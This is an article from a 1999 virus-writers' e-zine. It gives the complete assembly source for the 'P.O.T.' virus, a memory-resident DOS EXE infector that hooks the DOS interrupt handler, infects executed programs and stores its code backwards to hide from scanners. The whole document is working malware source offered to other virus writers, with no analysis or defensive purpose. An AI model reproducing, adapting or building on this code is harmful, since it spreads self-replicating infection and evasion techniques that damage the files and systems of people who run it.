ฤฤฤฤฤฤฤ[PVW5.011]ฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤ
Written for the : Pinoy Virus Writers E-Zine #5

                                % % % % %

                               - = %|% = -

 ษอออ   sOuRcEs !!!  ออออออออออออออออออออออออออออออออออออออออออป
 ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ

  P.O.T. Virus
  By : Lorz

  Use A86
  Terminate and Stay Resident Virus
  EXE infector
  It is a reversed code that is stored backwards and executes it.

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
	
	mov 	si,offset lorz
	xor 	sp,sp
	mov 	cx,(offset vend - offset lorz)/2
loop1:
	lodsw
	xchg 	ah,al
	push 	ax
	loop 	loop1
	jmp 	sp
	int 	20h
lorz:
        db 16 dup (90h)   
original:
 	jmp 	sp
 	loop 	loaderloop
 	push 	ax
 	xchg 	ah,al
 	lodsw
loaderloop:
 	mov 	cx,(offset vend - offset lorz)/2
 	xor 	sp,sp
codeplace:
	db 0beh 
loader:
        db "Lorz @ PVW -- P.O.T. Virus"
        jmp 	goold
        pop 	ax
        pop 	bx
        pop 	cx
        pop 	dx
        pop 	si
        pop 	di
        pop 	ds
        pop 	es
        int 	21h
        mov 	ah,3eh
closefile:
         int 	21h
         mov 	dx,(offset vend - offset loader)
         pop 	ds
         push 	cs
         mov 	cx,16
         mov 	ah,40h
         int 	21h
   	 xor 	dx,dx
         xor 	cx,cx
         mov 	ax,4200h
         int 	21h
         mov 	cx,(offset vend - offset lorz)
         mov 	ah,40h
         loop 	closefile
         stosb
         std
         lodsb
         cld
         mov 	si,-1
         mov 	dx,cx
         mov 	cx,(offset vend - offset lorz)
         mov 	di,(offset vend - offset lorz)*2-10
         mov 	[offset vend - offset codeplace],ax
         add 	ax,0100h
         int 	21h
         xor 	dx,dx
         xor 	cx,cx
         mov 	ax,4202h
         jz 	closefile
         jz 	closefile
         cmp 	word ptr [offset vend - offset original],"ZM"
         int 	21h
         mov 	dx,offset vend - offset original
         mov 	cx,16
         mov 	ah,3fh
         pop 	es
         pop 	ds
         push 	cs
         push 	cs
         xchg 	bx,ax
         int 	21h
         mov 	ax,3d02h
         push 	es
         push 	ds
         push 	di
         push 	si
         push 	dx
         push 	cx
         push 	bx
         push 	ax
executing:
        db 0,0,0,0
oldi21:
        db 0eah
goold:
        jz 	executing
        cmp 	ah,4bh
notserv:
        iret
        jnz 	notserv
        cmp 	ax,1818h
lorzint21:
 	jmp 	di

        add 	sp,(offset vend - offset lorz)
	pop 	di
        rep 	movsw
        mov 	cx,8
        push 	di
        mov 	di,0100h
        mov 	si,0fff0h
        pop 	es
        pop 	ds
        push 	cs
 	push 	cs
backtohost:
 	mov 	word ptr [si-2],es
        mov 	word ptr [si-4],offset vend-offset lorzint21
	movsw
	movsw
        mov 	di,offset vend - offset oldi21
	mov 	si,84h
 	mov 	ds,cx
 	rep 	movsw
	mov 	si,0 - (offset vend - offset lorz)
	mov 	cx,(offset vend - offset lorz)/2+1
 	pop 	ds
 	push 	cs
 	mov 	es,ax
 	mov 	ax,[di+12h]
 	sub 	word ptr [di+12h],(offset vend-offset lorz)/16+1
	sub 	word ptr [di+3h],(offset vend-offset lorz)/16+1
 	jnz 	backtohost
 	cmp 	byte ptr [di],"Z"
 	xor 	di,di
 	mov 	ds,ax
 	dec 	ax
 	mov 	ax,es
 	jnz 	backtohost
 	or 	al,al
 	int 	21h
 	mov 	ax,1818h
vend:

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
(C) Pinoy Virus Writers 1999
Lorz213@mailcity.com